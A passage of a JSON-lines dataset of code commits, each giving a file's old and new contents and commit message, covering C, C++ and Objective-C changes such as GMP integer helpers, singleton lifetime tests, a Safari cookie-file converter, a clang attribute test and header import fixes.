2) return -1;\n\n\/\/    printf(\"x = %d , y = %d \\n\", x,y);\n\n  }\n\n  return 0;\n}\n\n","subject":"Add coding to query the screen to KEYP.c","message":"Add coding to query the screen to KEYP.c\n","lang":"C","license":"bsd-2-clause","repos":"eingaeph\/pip.imbue.hood,eingaeph\/pip.imbue.hood"}
{"commit":"6493bb2e8d68e7862a9841807073c5a507c9c8e3","old_file":"defs.c","new_file":"defs.c","old_contents":"#include <stdio.h>\n\nvoid putStr(const char *str) {\n  fputs(str, stdout);\n}\n","new_contents":"#include <stdio.h>\n#include <gmp.h>\n\nvoid putStr(const char *str) {\n  fputs(str, stdout);\n}\n\nvoid mpz_set_ull(mpz_t n, unsigned long long ull)\n{\n    mpz_set_ui(n, (unsigned int)(ull >> 32)); \/* n = (unsigned int)(ull >> 32) *\/\n    mpz_mul_2exp(n, n, 32);                   \/* n <<= 32 *\/\n    mpz_add_ui(n, n, (unsigned int)ull);      \/* n += (unsigned int)ull *\/\n}\n\nunsigned long long mpz_get_ull(mpz_t n)\n{\n    unsigned int lo, hi;\n    mpz_t tmp;\n\n    mpz_init( tmp );\n    mpz_mod_2exp( tmp, n, 64 );   \/* tmp = (lower 64 bits of n) *\/\n\n    lo = mpz_get_ui( tmp );       \/* lo = tmp & 0xffffffff *\/ \n    mpz_div_2exp( tmp, tmp, 32 ); \/* tmp >>= 32 *\/\n    hi = mpz_get_ui( tmp );       \/* hi = tmp & 0xffffffff *\/\n\n    mpz_clear( tmp );\n\n    return (((unsigned long long)hi) << 32) + lo;\n}\n","subject":"Fix comparison return values and implement Integer truncation","message":"Fix comparison return values and implement Integer truncation\n","lang":"C","license":"bsd-3-clause","repos":"melted\/idris-llvm,melted\/idris-llvm,idris-hackers\/idris-llvm,idris-hackers\/idris-llvm"}
{"commit":"5301e87a423ec2095955328c78b350e14b38a6bc","old_file":"source\/tid\/enums.h","new_file":"source\/tid\/enums.h","old_contents":"#pragma once\n#include <string_view>\n\nnamespace tid {\n    enum level : int {\n        parent = -1,\n        normal = 0,\n        detail = 1,\n        pedant = 2,\n    };\n\n    constexpr std::string_view level2sv(level l) noexcept {\n        switch(l) {\n            case normal: return \"normal\";\n            case detail: return \"detail\";\n            case pedant: return \"pedant\";\n            case parent: return \"parent\";\n            default: return \"unknown\";\n        }\n    }\n}\n\ntemplate<typename T>\nextern constexpr std::string_view enum2sv(const T &item);\n\ntemplate<typename T>\nextern constexpr auto sv2enum(std::string_view item);\n\ntemplate<>\nconstexpr std::string_view enum2sv(const tid::level &item) {\n    switch(item) {\n        case(tid::level::normal): return \"normal\";\n        case(tid::level::detail): return \"detail\";\n        case(tid::level::pedant): return \"pedant\";\n        case(tid::level::parent): return \"parent\";\n        default: throw std::runtime_error(\"Unrecognized tid::level enum\");\n    }\n}\n\ntemplate<>\nconstexpr auto sv2enum<tid::level>(std::string_view item) {\n    if(item == \"normal\") return tid::level::normal;\n    if(item == \"detail\") return tid::level::detail;\n    if(item == \"pedant\") return tid::level::pedant;\n    if(item == \"parent\") return tid::level::parent;\n    throw std::runtime_error(\"Given item is not a tid::level enum: \" + std::string(item));\n}\n","new_contents":"#pragma once\n#include <exception>\n#include <string_view>\n\nnamespace tid {\n    enum level : int {\n        parent = -1,\n        normal = 0,\n        detail = 1,\n        pedant = 2,\n    };\n\n    constexpr std::string_view level2sv(level l) noexcept {\n        switch(l) {\n            case normal: return \"normal\";\n            case detail: return \"detail\";\n            case pedant: return \"pedant\";\n            case parent: return \"parent\";\n            default: return \"unknown\";\n        }\n    }\n}\n\ntemplate<typename T>\nextern constexpr std::string_view enum2sv(const T &item);\n\ntemplate<typename T>\nextern constexpr auto sv2enum(std::string_view item);\n\ntemplate<>\nconstexpr std::string_view enum2sv(const tid::level &item) {\n    switch(item) {\n        case(tid::level::normal): return \"normal\";\n        case(tid::level::detail): return \"detail\";\n        case(tid::level::pedant): return \"pedant\";\n        case(tid::level::parent): return \"parent\";\n        default: throw std::runtime_error(\"Unrecognized tid::level enum\");\n    }\n}\n\ntemplate<>\nconstexpr auto sv2enum<tid::level>(std::string_view item) {\n    if(item == \"normal\") return tid::level::normal;\n    if(item == \"detail\") return tid::level::detail;\n    if(item == \"pedant\") return tid::level::pedant;\n    if(item == \"parent\") return tid::level::parent;\n    throw std::runtime_error(\"Given item is not a tid::level enum\");\n}\n","subject":"Fix include headers after refactor","message":"Fix include headers after refactor\n\n\nFormer-commit-id: 7570681cb07311ab05e4f039e6c023fb3fe5f5a5","lang":"C","license":"mit","repos":"DavidAce\/DMRG,DavidAce\/DMRG,DavidAce\/DMRG,DavidAce\/DMRG"}
{"commit":"1432cf072b1fb914e514603ea5a65677a450d3fc","old_file":"src\/blobsBack.c","new_file":"src\/blobsBack.c","old_contents":"#include <stdlib.h>\n#include \"blobsBack.h\"\n\nint requestCmd(int player, typeCommand* command) {\n  command = NULL;\n  \/\/if()\n  return 1;\n}\n","new_contents":"#include <stdlib.h>\n#include \"blobsBack.h\"\n\n\nint canMove(int player, typeBoard* board) {\n  int i, j;\n  for(i = 0; i < board->h; i++) {\n    for(j = 0; j < board->w; j++) {\n      if(board->get[i][j].owner == player && board->get[i][j].canMove) {\n        return 1;\n      }\n    }\n  }\n  return 0;\n}\n\nchar* getCommand(typeCommand* command) {\n\n}\n\nint isInside(int x, int y, int w, int h) {\n  if(x >= 0 && x < w && y >= 0 && y < h)\n    return 1;\n  else\n    return 0;\n}\n\nint validCommand(typeCommand* command, typeBoard* board, int player) {\n  if(!isInside(command->source.x, command->source.y, board->w, board->h))\n    return 0;\n  else if(!isInside(command->target.x, command->target.y, board->w, board->h))\n    return 0;\n  else if(abs(command->source.x - command->target.x) > 2 || abs(command->source.y - command->target.y) > 2)\n    return 0;\n  else if(board->get[command->source.y][command->source.x].owner != player)\n    return 0;\n  else if(board->get[command->target.y][command->target.x].owner != 0)\n    return 0;\n  else\n    return 1;\n}\n","subject":"Add canMove, isInside and validCommand","message":"Add canMove, isInside and validCommand\n\n","lang":"C","license":"mit","repos":"lucas-emery\/TPE"}
{"commit":"bfb029f6ff779c828039be7f0d1eb061376d5006","old_file":"tests\/testCaseSingleton.h","new_file":"tests\/testCaseSingleton.h","old_contents":"#ifndef TESTCASESINGLETON_H\n#define TESTCASESINGLETON_H\n\n#include \"CppDiFactory.h\"\nclass IEngine\n{\npublic:\n\tvirtual double getVolume() const = 0;\n\tvirtual ~IEngine() = default;\n};\n\nclass Engine : public IEngine\n{\npublic:\n\tvirtual double getVolume() const override\n\t{\n\t\treturn 10.5;\n\t}\n};\n\n\n\nTEST_CASE( \"Singleton Test\", \"Check if two instances of a registered singleton are equal\" ){\n\n\tCppDiFactory::DiFactory myFactory;\n\tmyFactory.registerSingleton<Engine>().withInterfaces<IEngine>();\n\n\tauto engine  = myFactory.getInstance<IEngine>();\n\tauto engine2 = myFactory.getInstance<IEngine>();\n\n\tCHECK(engine == engine2);\n}\n\n#endif \/\/ TESTCASESINGLETON_H\n\n","new_contents":"#ifndef TESTCASESINGLETON_H\n#define TESTCASESINGLETON_H\n\n#include \"CppDiFactory.h\"\n\nnamespace testCaseSingleton\n{\n\nclass IEngine\n{\npublic:\n\tvirtual double getVolume() const = 0;\n\tvirtual ~IEngine() = default;\n};\n\nclass Engine : public IEngine\n{\n  private:\n    static bool _valid;\npublic:\n    Engine() { _valid = true; }\n    virtual ~Engine () { _valid = false; }\n\n\tvirtual double getVolume() const override\n\t{\n\t\treturn 10.5;\n\t}\n\n\tstatic bool isValid() { return _valid; }\n};\n\nbool Engine::_valid = false;\n\nTEST_CASE( \"Singleton Test\", \"Check if two instances of a registered singleton are equal\" ){\n\n    CppDiFactory::DiFactory myFactory;\n    myFactory.registerSingleton<Engine>().withInterfaces<IEngine>();\n\n    auto engine  = myFactory.getInstance<IEngine>();\n    auto engine2 = myFactory.getInstance<IEngine>();\n\n    CHECK(engine == engine2);\n}\n\nTEST_CASE( \"Singleton Lifetime test\", \"Check that the lifetime of the singleton is correct (alive while used)\" ){\n\n    CppDiFactory::DiFactory myFactory;\n    myFactory.registerSingleton<Engine>().withInterfaces<IEngine>();\n\n    std::shared_ptr<IEngine> spEngine;\n    std::weak_ptr<IEngine> wpEngine;\n\n    \/\/ no request yet --> Engine shouldn't exist yet.\n    CHECK(!Engine::isValid());\n\n    \/\/NOTE: use sub-block to ensure that no temporary shared-pointers remain alive\n    {\n        \/\/First call to getInstance should create the engine\n        spEngine = myFactory.getInstance<IEngine>();\n        CHECK(Engine::isValid());\n    }\n\n    \/\/shared pointer is alive --> engine should still exist\n    \/\/NOTE: use sub-block to ensure that no temporary shared-pointers remain alive\n    {\n        CHECK(Engine::isValid());\n\n        \/\/second call should get same instance\n        wpEngine = myFactory.getInstance<IEngine>();\n        CHECK(wpEngine.lock() == spEngine);\n    }\n\n    \/\/remove the only shared pointer to the engine (--> engine should get destroyed)\n    spEngine.reset();\n\n    \/\/shared pointer is not alive anymore --> engine should have been destroyed.\n    CHECK(wpEngine.expired());\n    CHECK(!Engine::isValid());\n}\n\n}\n\n#endif \/\/ TESTCASESINGLETON_H\n\n","subject":"Add tests for singleton lifetime","message":"Add tests for singleton lifetime\n","lang":"C","license":"apache-2.0","repos":"bbvch\/CppDiFactory"}
{"commit":"7da86164962ae726ddb761f8b9486ab31f61656b","old_file":"test\/main.c","new_file":"test\/main.c","old_contents":"#include <stdio.h>\n\n#include \"bincookie.h\"\n\nint main(int argc, char *argv[]) {\n    if (argc != 2) {\n        printf(\"Usage: %s [Full path to Cookies.binarycookies file]\\n\", argv[0]);\n        printf(\"Example: %s Cookies.binarycookies\\n\", argv[0]);\n        return 1;\n    }\n\n    binarycookies_t *bc = binarycookies_init(argv[1]);\n    unsigned int i, j;\n    uint32_t flags;\n\n    \/\/ Output in Netscape cookies.txt format\n    for (i = 0; i < bc->num_pages; i++) {\n        for (j = 0; j < bc->pages[i]->number_of_cookies; j++) {\n            flags = bc->pages[i]->cookies[j]->flags;\n\n            \/\/ domain, flag, path, secure, expiration, name, value\n            printf(\"%s\\t%s\\t%s\\t%s\\t%.f\\t%s\\t%s\\n\",\n                   bc->pages[i]->cookies[j]->url,\n                   bc->pages[i]->cookies[j]->url[0] == '.' ? \"TRUE\" : \"FALSE\",\n                   bc->pages[i]->cookies[j]->path,\n                   flags == 1 || flags == 5 ? \"TRUE\" : \"FALSE\",\n                   bc->pages[i]->cookies[j]->expiration_date,\n                   bc->pages[i]->cookies[j]->name,\n                   bc->pages[i]->cookies[j]->value);\n        }\n    }\n\n    binarycookies_free(bc);\n\n    return 0;\n}\n","new_contents":"#include <stdio.h>\n\n#include \"bincookie.h\"\n\nint main(int argc, char *argv[]) {\n    if (argc != 2) {\n        printf(\"Usage: %s [Full path to Cookies.binarycookies file]\\n\", argv[0]);\n        printf(\"Example: %s Cookies.binarycookies\\n\", argv[0]);\n        return 1;\n    }\n\n    binarycookies_t *bc = binarycookies_init(argv[1]);\n    unsigned int i, j;\n    binarycookies_flag flags;\n\n    \/\/ Output in Netscape cookies.txt format\n    for (i = 0; i < bc->num_pages; i++) {\n        for (j = 0; j < bc->pages[i]->number_of_cookies; j++) {\n            flags = bc->pages[i]->cookies[j]->flags;\n\n            \/\/ domain, flag, path, secure, expiration, name, value\n            printf(\"%s\\t%s\\t%s\\t%s\\t%.f\\t%s\\t%s\\n\",\n                   bc->pages[i]->cookies[j]->url,\n                   bc->pages[i]->cookies[j]->url[0] == '.' ? \"TRUE\" : \"FALSE\",\n                   bc->pages[i]->cookies[j]->path,\n                   flags == secure || flags == secure_http_only ? \"TRUE\" : \"FALSE\",\n                   bc->pages[i]->cookies[j]->expiration_date,\n                   bc->pages[i]->cookies[j]->name,\n                   bc->pages[i]->cookies[j]->value);\n        }\n    }\n\n    binarycookies_free(bc);\n\n    return 0;\n}\n","subject":"Use enum for flag check","message":"Use enum for flag check\n","lang":"C","license":"mit","repos":"Tatsh\/libbinarycookies,Tatsh\/libbinarycookies"}
{"commit":"648efe12f983c62f0ab9313ccb32a724e2d689cd","old_file":"src\/kernel\/irq\/static_irq\/irq_static.c","new_file":"src\/kernel\/irq\/static_irq\/irq_static.c","old_contents":"\/**\n * @file\n * @brief\n *\n * @date Mar 12, 2014\n * @author: Anton Bondarev\n *\/\n\n#include <assert.h>\n#include <kernel\/irq.h>\n\nextern char __static_irq_table_start;\nextern char __static_irq_table_end;\n\n#define STATIC_IRQ_TABLE_SIZE \\\n\t(((int) &__static_irq_table_end - (int) &__static_irq_table_start) \/ 4)\n\nint irq_attach(unsigned int irq_nr, irq_handler_t handler, unsigned int flags,\n\t\tvoid *dev_id, const char *dev_name) {\n\tassert(irq_nr <= STATIC_IRQ_TABLE_SIZE);\n\tassertf(((void **) &__static_irq_table_start)[irq_nr] != NULL,\n\t\t\t\"IRQ handler is not assigned with STATIC_IRQ_ATTACH\\n\");\n\n\tirqctrl_enable(irq_nr);\n\treturn 0;\n}\n\nint irq_detach(unsigned int irq_nr, void *dev_id) {\n\tirqctrl_disable(irq_nr);\n\treturn 0;\n}\n\nvoid irq_dispatch(unsigned int irq_nr) {\n\n}\n","new_contents":"\/**\n * @file\n * @brief\n *\n * @date Mar 12, 2014\n * @author: Anton Bondarev\n *\/\n\n#include <assert.h>\n#include <kernel\/irq.h>\n\nextern char __static_irq_table_start;\nextern char __static_irq_table_end;\n\n#define STATIC_IRQ_TABLE_SIZE \\\n\t(((int) &__static_irq_table_end - (int) &__static_irq_table_start) \/ 4)\n\nint irq_attach(unsigned int irq_nr, irq_handler_t handler, unsigned int flags,\n\t\tvoid *dev_id, const char *dev_name) {\n\tassert(irq_nr <= STATIC_IRQ_TABLE_SIZE);\n\tassertf(((void **) &__static_irq_table_start)[irq_nr] != NULL,\n\t\t\t\"IRQ(%d) handler is not assigned with STATIC_IRQ_ATTACH\\n\", irq_nr);\n\n\tirqctrl_enable(irq_nr);\n\treturn 0;\n}\n\nint irq_detach(unsigned int irq_nr, void *dev_id) {\n\tirqctrl_disable(irq_nr);\n\treturn 0;\n}\n\nvoid irq_dispatch(unsigned int irq_nr) {\n\n}\n","subject":"Print irq_num during assert in static irq_attach","message":"minor: Print irq_num during assert in static irq_attach\n","lang":"C","license":"bsd-2-clause","repos":"embox\/embox,embox\/embox,embox\/embox,embox\/embox,embox\/embox,embox\/embox"}
{"commit":"7aab6b61066940e0933fafed6b0c1ff9ea8d1472","old_file":"fibonacci_coding.c","new_file":"fibonacci_coding.c","old_contents":"\/*\n * fibonacci_coding.c\n * Author: Duc Thanh Tran\n *\/\n#include <math.h>\n\n\/*\n * Calculates i-th fibonacci-number (based on Moivre-Binet)\n * where we start with 1 and ignore the duplicate 1 at the beginning, i.e.\n * the fibonacci sequence is: 1, 2, 3, 5, 8, ...\n *\/\nunsigned int fibonacciNumber(int n)\n{\n    if(n <= 2)\n    {\n        return n;\n    }\n    double phi = (1 + sqrt(5.0)) \/ 2.0;\n    return round(pow(phi,n+1) \/ sqrt(5.0));\n}","new_contents":"\/*\n * fibonacci_coding.c\n * Author: Duc Thanh Tran\n *\/\n#include <math.h>\n\n\/*\n * Calculates i-th fibonacci-number (based on Moivre-Binet)\n * where we start with 1 and ignore the duplicate 1 at the beginning, i.e.\n * the fibonacci sequence is: 1, 2, 3, 5, 8, ...\n *\/\nunsigned int fibonacciNumber(int n)\n{\n    if(n <= 2)\n    {\n        return n;\n    }\n    double phi = (1 + sqrt(5.0)) \/ 2.0;\n    return round(pow(phi,n+1) \/ sqrt(5.0));\n}\n\n\n\/*\n * Sets the k-th bit in num\n *\/\ninline void setBit(unsigned int *num, int k)\n{\n    *num |= 1 << k;\n}\n\n\n\/*\n * Encodes a positive integer into a binary codeword with fibonacci numbers as bases\n * Adding a 1-bit and reversing the codeword yiels a prefix code\n *\/\nunsigned int encode_fib(unsigned int N)\n{\n    \/\/ find highest fibonacci number that is equal or smaller than N\n    int i = 1;\n    while(fibonacciNumber(++i) <= N);\n    i -= 1;\n    \n    \/\/ calculate rest of the Zeckendorf-Representation\n    unsigned int z_repr = 0;\n    while(i > 0)\n    {\n        if(fibonacciNumber(i) <= N)\n        {\n            setBit(&z_repr, i);\n            N -= fibonacciNumber(i);\n            \n            \/\/ Zeckendorf-Theorem: there are no consecutive 1-bits\n            i -= 2;\n        }\n        else\n        {\n            i -= 1;\n        }\n    }\n    \n    \/\/ TODO: Zeckendorf representation finished; add 1-bit (UD-property) and reverse bit-representation to achieve prefix-code\n    return enc;\n}","subject":"Add 1st part of encoding algorithm","message":"Add 1st part of encoding algorithm\n\nZeckendorf-representation finished\n","lang":"C","license":"mit","repos":"ducthanhtran\/fibonacci-compression-coding"}
{"commit":"fa399229296ba75b2fb3f7b6891c28a3e369ae38","old_file":"test\/Sema\/attr-micromips.c","new_file":"test\/Sema\/attr-micromips.c","old_contents":"\/\/ RUN: %clang_cc1 -triple mips-linux-gnu -fsyntax-only -verify %s\n\n__attribute__((nomicromips(0))) void foo1();  \/\/ expected-error {{'nomicromips' attribute takes no arguments}}\n__attribute__((micromips(1))) void foo2();    \/\/ expected-error {{'micromips' attribute takes no arguments}}\n\n__attribute((nomicromips)) int a; \/\/ expected-error {{attribute only applies to functions}}\n__attribute((micromips)) int b;   \/\/ expected-error {{attribute only applies to functions}}\n\n__attribute__((micromips,mips16)) void foo5();  \/\/ expected-error {{'micromips' and 'mips16' attributes are not compatible}} \\\n                                                \/\/ expected-note {{conflicting attribute is here}}\n__attribute__((mips16,micromips)) void foo6();  \/\/ expected-error {{'mips16' and 'micromips' attributes are not compatible}} \\\n                                                \/\/ expected-note {{conflicting attribute is here}}\n\n__attribute((micromips)) void foo7();\n__attribute((nomicromips)) void foo8();\n","new_contents":"\/\/ RUN: %clang_cc1 -triple mips-linux-gnu -fsyntax-only -verify %s\n\n__attribute__((nomicromips(0))) void foo1();  \/\/ expected-error {{'nomicromips' attribute takes no arguments}}\n__attribute__((micromips(1))) void foo2();    \/\/ expected-error {{'micromips' attribute takes no arguments}}\n\n__attribute((nomicromips)) int a; \/\/ expected-error {{attribute only applies to functions}}\n__attribute((micromips)) int b;   \/\/ expected-error {{attribute only applies to functions}}\n\n__attribute__((micromips,mips16)) void foo5();  \/\/ expected-error {{'micromips' and 'mips16' attributes are not compatible}} \\\n                                                \/\/ expected-note {{conflicting attribute is here}}\n__attribute__((mips16,micromips)) void foo6();  \/\/ expected-error {{'mips16' and 'micromips' attributes are not compatible}} \\\n                                                \/\/ expected-note {{conflicting attribute is here}}\n\n__attribute((micromips)) void foo7();\n__attribute((nomicromips)) void foo8();\n__attribute__((mips16)) void foo9(void) __attribute__((micromips)); \/\/ expected-error {{'micromips' and 'mips16' attributes are not compatible}} \\\n                                                                    \/\/ expected-note {{conflicting attribute is here}}\n","subject":"Add one more check to the micromips attribute test case. NFC","message":"[mips] Add one more check to the micromips attribute test case. NFC\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@303565 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"1632ad4fcb5be14705f63f61cda13cf50596b515","old_file":"creator\/plugins\/docks\/propertiesdock\/propertywidgetitems\/qrealpropertywidgetitem.h","new_file":"creator\/plugins\/docks\/propertiesdock\/propertywidgetitems\/qrealpropertywidgetitem.h","old_contents":"#ifndef QREALPROPERTYWIDGETITEM_H\n#define QREALPROPERTYWIDGETITEM_H\n\n#include \"widgets\/propertywidgetitem.h\"\n\nclass QDoubleSpinBox;\n\nnamespace GluonCreator\n{\n\tclass QRealPropertyWidgetItem : public PropertyWidgetItem\n\t{\n\t\t    Q_OBJECT\n        public:\n            explicit QRealPropertyWidgetItem(QWidget* parent = 0, Qt::WindowFlags f = 0);\n            ~QRealPropertyWidgetItem();\n\n            virtual QList<QString> supportedDataTypes() const;\n            virtual PropertyWidgetItem* instantiate();\n\n        public slots:\n            void setEditValue(const QVariant& value);\n            void qrealValueChanged(double value);\n\n\t};\n}\n\n#endif","new_contents":"#ifndef QREALPROPERTYWIDGETITEM_H\n#define QREALPROPERTYWIDGETITEM_H\n\n#include \"widgets\/propertywidgetitem.h\"\n\nclass QDoubleSpinBox;\n\nnamespace GluonCreator\n{\n\tclass QRealPropertyWidgetItem : public PropertyWidgetItem\n\t{\n\t\t    Q_OBJECT\n        public:\n            explicit QRealPropertyWidgetItem(QWidget* parent = 0, Qt::WindowFlags f = 0);\n            ~QRealPropertyWidgetItem();\n\n            virtual QList<QString> supportedDataTypes() const;\n            virtual PropertyWidgetItem* instantiate();\n\n        public slots:\n            void setEditValue(const QVariant& value);\n            void qrealValueChanged(double value);\n\n\t};\n}\n\n#endif\n","subject":"Fix krzy issue for \"endswithnewline\"","message":"Fix krzy issue for \"endswithnewline\"\n","lang":"C","license":"lgpl-2.1","repos":"KDE\/gluon,pranavrc\/example-gluon,cgaebel\/gluon,cgaebel\/gluon,KDE\/gluon,pranavrc\/example-gluon,KDE\/gluon,cgaebel\/gluon,cgaebel\/gluon,pranavrc\/example-gluon,pranavrc\/example-gluon,KDE\/gluon"}
{"commit":"18c0fdc7f6d21c9be2e91847c8441ce311a3af6a","old_file":"bikepath\/AddressGeocoderFactory.h","new_file":"bikepath\/AddressGeocoderFactory.h","old_contents":"\/\/\n\/\/  AddressGeocoderFactory.h\n\/\/  bikepath\n\/\/\n\/\/  Created by Farheen Malik on 8\/19\/14.\n\/\/  Copyright (c) 2014 Bike Path. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"SPGooglePlacesAutocomplete.h\"\n#import <UIKit\/UIKit.h>\n#import \"GeocodeItem.h\"\n\n@interface AddressGeocoderFactory : NSObject\n\n\/\/+ (GeocodeItem*) translateAddressToGeocodeObject:(NSString*)addressString;\n\n+ (NSString*)translateAddresstoUrl:(NSString*)addressString;\n\/\/\n+ (GeocodeItem*)translateUrlToGeocodedObject:(NSString*)url;\n\n@end\n","new_contents":"\/\/\n\/\/  AddressGeocoderFactory.h\n\/\/  bikepath\n\/\/\n\/\/  Created by Farheen Malik on 8\/19\/14.\n\/\/  Copyright (c) 2014 Bike Path. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"SPGooglePlacesAutocomplete.h\"\n#import <UIKit\/UIKit.h>\n#import \"GeocodeItem.h\"\n\n@interface AddressGeocoderFactory : NSObject\n\n\/\/+ (GeocodeItem*) translateAddressToGeocodeObject:(NSString*)addressString;\n\n+ (NSString*)translateAddresstoUrl:(NSString*)addressString;\n\/\/\n+ (NSMutableDictionary*)translateUrlToGeocodedObject:(NSString*)url;\n\n@end\n","subject":"Modify methods according to new names in implementation file","message":"Modify methods according to new names in implementation file\n","lang":"C","license":"apache-2.0","repos":"hushifei\/bike-path,red-spotted-newts-2014\/bike-path,red-spotted-newts-2014\/bike-path"}
{"commit":"36bb3b728bacb99ecf2f95734d3e5e97a070fa0e","old_file":"test2\/code_gen\/deref_reg.c","new_file":"test2\/code_gen\/deref_reg.c","old_contents":"\/\/ RUN: %ucc -DFIRST  -S -o- %s | grep -F 'movl (%%rax), %%eax'\n\/\/ RUN: %ucc -DSECOND -S -o- %s | grep -F 'movl 4(%%rbx), %%ebx'\n\n#ifdef FIRST\n\nf(int *p)\n{\n\treturn *p;\n\t\/\/ should see that p isn't used after\/.retains==1 and not create a new reg,\n\t\/\/ but re-use the current\n}\n\n#elif defined(SECOND)\n\nstruct A\n{\n\tint i, j;\n};\n\ng(struct A *p)\n{\n\treturn p->i + p->j;\n}\n\n#else\n#  error neither\n#endif\n","new_contents":"\/\/ RUN: %ucc -DFIRST  -S -o- %s | grep -F 'movl (%%rax), %%eax'\n\/\/ RUN: %ucc -DSECOND -S -o- %s | grep -F 'movl 4(%%rcx), %%ecx'\n\n#ifdef FIRST\n\nf(int *p)\n{\n\treturn *p;\n\t\/\/ should see that p isn't used after\/.retains==1 and not create a new reg,\n\t\/\/ but re-use the current\n}\n\n#elif defined(SECOND)\n\nstruct A\n{\n\tint i, j;\n};\n\ng(struct A *p)\n{\n\treturn p->i + p->j;\n}\n\n#else\n#  error neither\n#endif\n","subject":"Change test now %ebx is callee-save","message":"Change test now %ebx is callee-save\n","lang":"C","license":"mit","repos":"8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler"}
{"commit":"d7ba0a9c6dad9db4a22d06c25646ae6df25ccd68","old_file":"AsyncDisplayKit\/Layout\/ASAbsoluteLayoutElement.h","new_file":"AsyncDisplayKit\/Layout\/ASAbsoluteLayoutElement.h","old_contents":"\/\/\n\/\/  ASAbsoluteLayoutElement.h\n\/\/  AsyncDisplayKit\n\/\/\n\/\/  Copyright (c) 2014-present, Facebook, Inc.  All rights reserved.\n\/\/  This source code is licensed under the BSD-style license found in the\n\/\/  LICENSE file in the root directory of this source tree. An additional grant\n\/\/  of patent rights can be found in the PATENTS file in the same directory.\n\/\/\n\nNS_ASSUME_NONNULL_BEGIN\n\n\/**\n *  Layout options that can be defined for an ASLayoutElement being added to a ASAbsoluteLayoutSpec.\n *\/\n@protocol ASAbsoluteLayoutElement\n\n\/**\n * @abstract The position of this object within its parent spec.\n *\/\n@property (nonatomic, assign) CGPoint layoutPosition;\n\n\n#pragma mark Deprecated\n\n@property (nonatomic, assign) ASRelativeSizeRange sizeRange ASDISPLAYNODE_DEPRECATED;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","new_contents":"\/\/\n\/\/  ASAbsoluteLayoutElement.h\n\/\/  AsyncDisplayKit\n\/\/\n\/\/  Copyright (c) 2014-present, Facebook, Inc.  All rights reserved.\n\/\/  This source code is licensed under the BSD-style license found in the\n\/\/  LICENSE file in the root directory of this source tree. An additional grant\n\/\/  of patent rights can be found in the PATENTS file in the same directory.\n\/\/\n\n#import <AsyncDisplayKit\/ASBaseDefines.h>\n#import <AsyncDisplayKit\/ASDimension.h>\n\nNS_ASSUME_NONNULL_BEGIN\n\n\/**\n *  Layout options that can be defined for an ASLayoutElement being added to a ASAbsoluteLayoutSpec.\n *\/\n@protocol ASAbsoluteLayoutElement\n\n\/**\n * @abstract The position of this object within its parent spec.\n *\/\n@property (nonatomic, assign) CGPoint layoutPosition;\n\n\n#pragma mark Deprecated\n\n@property (nonatomic, assign) ASRelativeSizeRange sizeRange ASDISPLAYNODE_DEPRECATED;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","subject":"Add imports that are necessary for clang to parse header files after compilation.","message":"[Build] Add imports that are necessary for clang to parse header files after compilation.\n\nThis allows the objc-diff tool (which creates API diffs) to run successfully.\n","lang":"C","license":"bsd-3-clause","repos":"maicki\/AsyncDisplayKit,tomizimobile\/AsyncDisplayKit,rmls\/AsyncDisplayKit,romyilano\/AsyncDisplayKit,tomizimobile\/AsyncDisplayKit,rahul-malik\/AsyncDisplayKit,chrisdanford\/AsyncDisplayKit,flovouin\/AsyncDisplayKit,aaronschubert0\/AsyncDisplayKit,harryworld\/AsyncDisplayKit,tomizimobile\/AsyncDisplayKit,george-gw\/AsyncDisplayKit,JetZou\/AsyncDisplayKit,rahul-malik\/AsyncDisplayKit,JetZou\/AsyncDisplayKit,aaronschubert0\/AsyncDisplayKit,harryworld\/AsyncDisplayKit,aaronschubert0\/AsyncDisplayKit,romyilano\/AsyncDisplayKit,rahul-malik\/AsyncDisplayKit,maicki\/AsyncDisplayKit,george-gw\/AsyncDisplayKit,romyilano\/AsyncDisplayKit,chrisdanford\/AsyncDisplayKit,JetZou\/AsyncDisplayKit,rmls\/AsyncDisplayKit,JetZou\/AsyncDisplayKit,tomizimobile\/AsyncDisplayKit,lappp9\/AsyncDisplayKit,lappp9\/AsyncDisplayKit,flovouin\/AsyncDisplayKit,romyilano\/AsyncDisplayKit,chrisdanford\/AsyncDisplayKit,aaronschubert0\/AsyncDisplayKit,harryworld\/AsyncDisplayKit,rmls\/AsyncDisplayKit,lappp9\/AsyncDisplayKit,chrisdanford\/AsyncDisplayKit,maicki\/AsyncDisplayKit,harryworld\/AsyncDisplayKit,maicki\/AsyncDisplayKit,maicki\/AsyncDisplayKit,tomizimobile\/AsyncDisplayKit,harryworld\/AsyncDisplayKit,george-gw\/AsyncDisplayKit,flovouin\/AsyncDisplayKit,rmls\/AsyncDisplayKit,rmls\/AsyncDisplayKit,aaronschubert0\/AsyncDisplayKit,george-gw\/AsyncDisplayKit,lappp9\/AsyncDisplayKit,flovouin\/AsyncDisplayKit,JetZou\/AsyncDisplayKit,flovouin\/AsyncDisplayKit,rahul-malik\/AsyncDisplayKit"}
